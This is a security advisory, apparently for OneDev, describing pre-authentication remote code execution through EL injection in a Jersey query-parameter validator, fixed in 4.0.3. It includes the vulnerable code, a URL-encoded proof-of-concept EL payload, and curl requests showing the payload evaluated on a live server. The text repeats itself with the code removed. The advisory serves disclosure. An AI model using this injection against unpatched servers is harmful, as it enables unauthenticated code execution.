Impact
There are many custom validators using Java Bean Validation (JSR 380) custom constraint validators. Apparently a similar issue was reported in the past (fix issue #88: Users able to edit build spec can execute arbitrary java
) and it was fixed by this commit by disabling EL interpolation:
- Configuration<?> configuration = Validation.byDefaultProvider().configure();
+ Configuration<?> configuration = Validation
+ .byDefaultProvider()
+ .configure()
+ .messageInterpolator(new ParameterMessageInterpolator());
This effectively disables EL interpolation in most cases, but I found that this configuration is not applied for the Jersey server which uses a different ValidatorFactory
configuration defined in ValidationConfigurationContextResolver:
public ValidationConfig getContext(final Class<?> type) {
ValidatorFactory factory = AppLoader.getInstance(ValidatorFactory.class);
ValidationConfig config = new ValidationConfig();
config.constraintValidatorFactory(factory.getConstraintValidatorFactory());
config.messageInterpolator(factory.getMessageInterpolator());
config.parameterNameProvider(factory.getParameterNameProvider());
config.traversableResolver(factory.getTraversableResolver());
return config;
}
There is a custom validator using this configuration, the ValidQueryParamsValidator
:
public boolean isValid(Object[] value, ConstraintValidatorContext context) {
Set<String> expectedParams = new HashSet<>();
for (Annotation[] annotations: resourceInfo.getResourceMethod().getParameterAnnotations()) {
for (Annotation annotation: annotations) {
if (annotation instanceof QueryParam) {
QueryParam param = (QueryParam) annotation;
expectedParams.add(param.value());
}
}
}
Set<String> actualParams = new HashSet<>(uriInfo.getQueryParameters().keySet());
actualParams.removeAll(expectedParams);
if (actualParams.isEmpty()) {
return true;
} else {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("Unexpected query params: " + actualParams).addConstraintViolation();
return false;
}
}
This would be vulnerable if EL interpolation is allowed and if the REST endpoint receives an unexpected query parameter. We can verify if this is the case with the following payload:
${'test'.toUpperCase()}` -> `%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d
Trying it locally:
curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
We get no response but an exception:
Caused by: org.glassfish.jersey.server.ContainerException: java.lang.NoSuchMethodError: javax.el.ELContext.notifyBeforeEvaluation(Ljava/lang/String;)
However in the stack trace we can find clues that Hibernate performed EL interpolation:
at com.sun.el.lang.EvaluationContext.notifyBeforeEvaluation(EvaluationContext.java:131) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:225) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver.interpolate(ElTermResolver.java:65) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
at org.hibernate.validator.internal.engine.messageinterpolation.InterpolationTerm.interpolate(InterpolationTerm.java:64) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
This exception seems to be related to a misconfiguration in our docker dev container. Trying it on the onedev server (v3.2.9) we get our expression evaluated:
curl -X GET -H "Content-Type: application/json" https://code.onedev.io/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
Unexpected query params: [TEST] (path = ProjectResource.query.<cross-parameter>, invalidValue = [null, null, null, org.glassfish.jersey.server.internal.routing.UriRoutingContext@5b27a361])
As we can see in the output, the Java code was evaluated and returned TEST
in upper case.
This validation, and therefore the arbitrary code execution, happens before any authentication or authorization checks are enforced.
This issue may lead to pre-auth RCE
Patches
This issue was fixed in 4.0.3 by disabling validation interpolation completely.
Credits
This issue was discovered by @pwntester
Impact
There are many custom validators using Java Bean Validation (JSR 380) custom constraint validators. Apparently a similar issue was reported in the past (
fix issue #88: Users able to edit build spec can execute arbitrary java
) and it was fixed by this commit by disabling EL interpolation:This effectively disables EL interpolation in most cases, but I found that this configuration is not applied for the Jersey server which uses a different
ValidatorFactory
configuration defined in ValidationConfigurationContextResolver:There is a custom validator using this configuration, the
ValidQueryParamsValidator
:This would be vulnerable if EL interpolation is allowed and if the REST endpoint receives an unexpected query parameter. We can verify if this is the case with the following payload:
Trying it locally:
We get no response but an exception:
However in the stack trace we can find clues that Hibernate performed EL interpolation:
This exception seems to be related to a misconfiguration in our docker dev container. Trying it on the onedev server (v3.2.9) we get our expression evaluated:
As we can see in the output, the Java code was evaluated and returned
TEST
in upper case.This validation, and therefore the arbitrary code execution, happens before any authentication or authorization checks are enforced.
This issue may lead to
pre-auth RCE
Patches
This issue was fixed in 4.0.3 by disabling validation interpolation completely.
Credits
This issue was discovered by @pwntester